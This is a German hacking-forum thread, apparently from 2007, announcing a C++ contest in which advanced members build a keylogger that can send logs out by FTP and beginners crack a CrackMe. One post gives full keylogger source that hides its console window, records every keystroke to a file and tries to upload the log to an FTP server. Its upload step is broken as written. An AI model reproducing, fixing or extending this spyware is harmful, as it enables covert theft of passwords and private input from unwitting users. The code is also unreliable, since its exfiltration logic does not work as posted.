Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 14
  1. #1
    Michelangelo Virus
    Registriert seit
    14.06.2007
    Beiträge
    282

    Standard C++ Wettbewerb geht in die dritte Runde

    Der C++ Wettbewerb geht in die dritte Runde.

    Fortgeschrittene : Keylogger

    ein Programm, das alle Tastendrücke abfängt und speichert. Zusätzlich könnte man Builder und eine Sending Option einbauen, z.B. an einen FTP

    Anfänger : CrackMe

    f0gx wird ein Programm schreiben, das ich versuchen sollt zu cracken, das heisst durch veränderungen im Memory ein bestimmtes Ergebnis zu erreichen.

    Abgabetermin ist der 25.11.07

    bitte schreibt schnell rein wo ihr mit macht, und falls was dazwischen kommt, bitte abmelden.
    Achja und die Sources bitte + exe, per icq zu mir.

    Zur Bewertung, es geht grafisches, sowie Sourcecode und der Funktionsumfang mit ein.

    Mfg

    Zao
    Write the code correctly and it will compile

  2. #2
    I'm in ur VM. Avatar von l0dsb
    Registriert seit
    23.07.2007
    Beiträge
    1.038

    Standard

    C++ Wettbewerb #3 - An alle Beginner.

    Ich habe das besagte CrackMe fertig gestellt. Es ist auf meiner Page verfügbar. Es ist evtl. nicht ganz leicht, aber seht selbst.

    Für Leute, die sich in der Materie etwas mehr auskennen, ist es einfach, aber schließlich geht es hier um die Beginner-Aufgabe.

    Bei Rückfragen zum CrackMe (natürlich nicht, wie man es löst, aber falls Verstädnisfragen bestehen) könnt ihr mir eine PM schicken.

    Viel Spaß!

    f0Gx
    I can haz RCE?

  3. #3
    DateMake Dialer
    Registriert seit
    15.08.2007
    Beiträge
    103

    Standard

    Ok bin bei Beginner dabei

  4. #4
    CIH-Virus Avatar von -[RiDER]-
    Registriert seit
    05.01.2007
    Beiträge
    496

    Standard

    Ich würde mich sehr gerne am Wettbewerb beteiligen.

    Da ich aber im Moment nicht über einen Wintendo verfüge und auch bis jetzt noch keinen Grund gefunden habe, mir jemals wieder einen anzuschaffen, werde ich wohl diesmal auf die Teilnahme verzichten müssen...

    MfG RiDER

  5. #5
    Trojaner
    Registriert seit
    04.08.2007
    Beiträge
    51

    Standard

    Viel glück an alle Teilnehmer.






  6. #6
    I'm in ur VM. Avatar von l0dsb
    Registriert seit
    23.07.2007
    Beiträge
    1.038

    Standard

    Werde doch selbst zu einem?
    I can haz RCE?

  7. #7
    NoClose Wurm
    Registriert seit
    12.02.2007
    Beiträge
    195

    Standard

    Ich werde beim Keylogger mitmachen, allerdings ohne GUI, wie mit zao bereits besprochen ,;-)

  8. #8
    Trojaner
    Registriert seit
    07.08.2007
    Beiträge
    88

    Standard

    Ich bin mit dem Keylogger fertig

    •Keylog funktion
    •FTP Send Action

    Source wird open also ihr könnt ihn dann auch modden

    MfG

    Added after 3 minutes:

    Vllt ist das eine Kleine hilfe für jemanden:

    Code:
    #include "stdafx.h"
    #include <iostream>
    #include <windows.h>
    #include <Winuser.h>
    #include <string>
    #include <fstream>
    using namespace std;
    //Testet ob ein Key abgefragt wurde
    string GetKey(int Key)
    {
    	string KeyString = "";
    	if (Key == 8)
    		KeyString = "[del]";
    	else if (Key == 13)
    		KeyString = "\n";
    	else if (Key == 32)
    		KeyString = " ";
    	else if (Key == VK_PAUSE)
    		KeyString = "[PAUSE]";
    	else if (Key == VK_CAPITAL)
    		KeyString = "[CAPITAL]";
    	else if (Key == VK_SHIFT)
    		KeyString = "[SHIFT]";
    	else if (Key == VK_TAB)
    		KeyString = "[TAB]";
    	else if (Key == VK_CONTROL)
    		KeyString = "[STRG]";
    	else if (Key == VK_ESCAPE)
    		KeyString = "[ESC]";
    	else if (Key == VK_END)
    		KeyString = "[END]";
    	else if (Key == VK_HOME)
    		KeyString = "[HOME]";
    	else if (Key == VK_LEFT)
    		KeyString = "[LINKS]";
    	else if (Key == VK_RIGHT)
    		KeyString = "[RECHTS]";
    	else if (Key == VK_UP)
    		KeyString = "[HOCH]";
    	else if (Key == VK_DOWN)
    		KeyString = "[RUNTER]";
    	else if (Key == VK_SNAPSHOT)
    		KeyString = "[SNAPSHOT]";
    	else if (Key == VK_NUMLOCK)
    		KeyString = "[NUMLOCK]";
    	else if (Key == 190 || Key == 110)
    		KeyString = ".";
    	//Char klein machen
    	else if (Key >=96 && Key <= 105)
    		KeyString = Key-48;
    	else if (Key > 47 && Key < 60)
    		KeyString = Key;
    	if (Key != VK_LBUTTON || Key != VK_RBUTTON)
    	{
    		if (Key > 64 && Key < 91)
    		{
    			if (GetKeyState(VK_CAPITAL))
    				KeyString = Key;
    			else
    			{
    				Key = Key + 32;
    				KeyString = Key;
    			}
    		}
    	}
    
    	return KeyString;
    }
    
    int main()
    {
    	//Fenster verstecken
    	SetConsoleTitle(TEXT("abcdefghij"));
    	HWND muh = FindWindow(0,TEXT("abcdefghij"));
    	ShowWindow(muh,SW_HIDE);
    	//End
    	string Filename = "log.txt";
    	string Temp = "";
    	fstream log;
    	log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    	int keyvalue = 0; //Anzahl der eingegeben Keys
    	while(true)
    	{
    
    		Sleep(5);
    
    		for(int i = 8; i < 191; i++)
    		{
    			if(GetAsyncKeyState(i)&1 ==1)
    			{
    				Temp = GetKey (i);
    
    				log.write(Temp.c_str(), Temp.size());
    				log.close();
    				log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    			}
    
    		}
    		if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden
    		{
    			//Sende log zum ftp server
    			system("ftp.exe");//Öffne FTP.exe
    			system("open SERVERNAME");//Servername
    			system("ftpusername");
    			system("ftppasswort");
    			system("cd html"); //Verzeichniss
    			system("send"); //Senden
    			system("log.txt");// Log.txt wird hochgeladen
    
    		}
    	}
    }
    Added after 6 minutes:

    Credit to : http://www.online-tutorials.net/

  9. #9
    CIH-Virus Avatar von -[RiDER]-
    Registriert seit
    05.01.2007
    Beiträge
    496

    Standard

    Mach KeyString static und hübsch is

    Das sleep(5) wird wohl von den meisten compilern ignoriert werden...
    und ich versteh nicht, warum du die datei immer wieder öffnest und schließt O_o

    Code:
    #include "stdafx.h"
    den header müssteste wohl mitposten... was auch immer der bringen soll.... O_o

    aber sieht mir doch sehr windowslike aus O_o
    also ich kenn den ganzen wintendo kram nicht O_o
    womit krieg ich denn kompiliert??

    MfG RiDER

  10. #10
    I'm in ur VM. Avatar von l0dsb
    Registriert seit
    23.07.2007
    Beiträge
    1.038

    Standard

    womit krieg ich denn kompiliert??
    Mit Wintendo-Kompilern. Aber die Autoren können ja am Ende des Wettbewerbes sowieso noch mal kompilierte Versionen rausbringen.
    I can haz RCE?

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •